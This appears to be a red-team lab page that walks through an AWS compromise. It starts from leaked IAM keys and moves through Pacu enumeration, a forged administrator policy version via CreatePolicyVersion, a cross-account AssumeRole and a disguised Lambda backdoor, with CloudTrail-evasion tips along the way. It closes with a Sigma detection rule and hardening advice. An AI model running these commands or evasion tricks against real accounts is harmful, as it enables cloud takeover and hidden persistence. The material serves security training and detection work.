K8S CONTAINER ESCAPE
ENTRA ID PASS-THE-PRT
Cloud & ContainersT1078.004 - Cloud Accounts & IAM AbuseAWS Red Team: Multi-Account IAM Privilege Escalation & Lambda Persistence
AdvancedCloud Security/OS: Cloud/+85 PTS/Duration: 2 hrs 00 mins
1. Mission Brief & Target Topology
EXECUTIVE ADVERSARIAL SUMMARY
Compromise of an enterprise AWS infrastructure starting with exposed access keys in public repository. Utilizing Pacu to identify iam:CreatePolicyVersion escalation vectors, forging administrator policy versions, creating rogue Lambda persistence backdoors, and assuming cross-account trust roles.
OFFICIAL ARSENAL EXPLOIT SCRIPT
Bhanu Guragain (@Bh4nu) · Public GitHub Repository
TARGET ENVIRONMENT SPECIFICATION
TARGET HOST / SCOPEAWS Account ID: 123456789012 (Enterprise Production & Security Audit Accounts)
SYSTEM ARCHITECTUREAWS Multi-Account Architecture (Organizations, IAM, S3, Lambda, Secrets Manager)
INITIAL ACCESS VECTORLeaked IAM access keys with iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion permissions
PRIVILEGE ESCALATIONCreating v2 IAM policy with {"Action": "*", "Effect": "Allow", "Resource": "*"}
Exposed Network Services:
AWS IAM APIAWS STSAWS LambdaAWS Secrets Manager
EXERCISED OPERATOR SKILLS:
AWS IAM Privilege EscalationPacu FrameworkCross-Account AssumeRoleLambda Backdoor Persistence
2. Operational Kill Chain Phases (3 Phases)
STEP 01Verifying Leaked IAM Credential Scope
Phase 1: AWS Caller Identity & Permission EnumerationObjective:Query AWS STS and enumerate permissions assigned to the compromised developer IAM identity.
COMMAND
aws sts get-caller-identity python3 pacu.py --session aws_audit --exec "run iam__enum_permissions"
Captured Telemetry Evidence:
EVIDENCE STEP 01
[+] User: arn:aws:iam::123456789012:user/dev-audit. Policies Attached: [AuditPolicy (5 versions max)].
OPSEC & EVASION INSIGHT:Use standard Pacu stealth delays to avoid triggering CloudWatch rate anomaly alarms.
STEP 02Creating Administrator Policy Version & Setting as Default
Phase 2: IAM CreatePolicyVersion Administrator ElevationObjective:Abuse iam:CreatePolicyVersion to insert an unrestricted administrator policy document.
COMMAND
aws iam create-policy-version --policy-arn arn:aws:iam::123456789012:policy/AuditPolicy --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' --set-as-defaultCaptured Telemetry Evidence:
EVIDENCE STEP 02
[+] Policy version v2 set as default. Current user now holds full AdministratorAccess.
OPSEC & EVASION INSIGHT:Delete older unused policy versions (v1) to maintain the 5-version policy limit.
STEP 03Assuming Cross-Account Role into Core Production Account
Phase 3: Cross-Account STS AssumeRole & Lambda BackdoorObjective:Assume ProductionAdminRole in account 987654321098 and deploy an event-driven Lambda backdoor.
COMMAND
aws sts assume-role --role-arn arn:aws:iam::987654321098:role/ProductionAdminRole --role-session-name "SecOpsAuditSession" aws lambda create-function --function-name "SystemHealthReporter" --runtime "python3.11" --role "arn:aws:iam::987654321098:role/LambdaBasicExec" --handler "lambda_function.lambda_handler" --zip-file fileb://backdoor.zip
Captured Telemetry Evidence:
EVIDENCE STEP 03
[✓] Cross-Account Access Key minted. EventBridge scheduled backdoor active. Complete AWS Organization Compromised.
OPSEC & EVASION INSIGHT:Role session name mimics standard internal enterprise audit tools.
3. Telemetry, Forensics & Shell Evidence
NETWORK & HOST TELEMETRY FOOTPRINT
AWS CloudTrail Event: CreatePolicyVersion with Action: *
4. Blue Team Detection & Defense Playbook
PRODUCTION SIGMA DETECTION RULE
title: AWS IAM CreatePolicyVersion With Admin Privileges
status: production
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName: "CreatePolicyVersion"
requestParameters|contains: '"Action": "*'
condition: selectionDEFENSIVE REMEDIATION & HARDENING
- Apply AWS Service Control Policies (SCPs) to deny iam:CreatePolicyVersion and iam:SetDefaultPolicyVersion.
- Deploy AWS GuardDuty to alert on anomalous sts:AssumeRole behavior from non-standard IP ranges.
Lead Operator: Bhanu Guragain (@Bh4nu)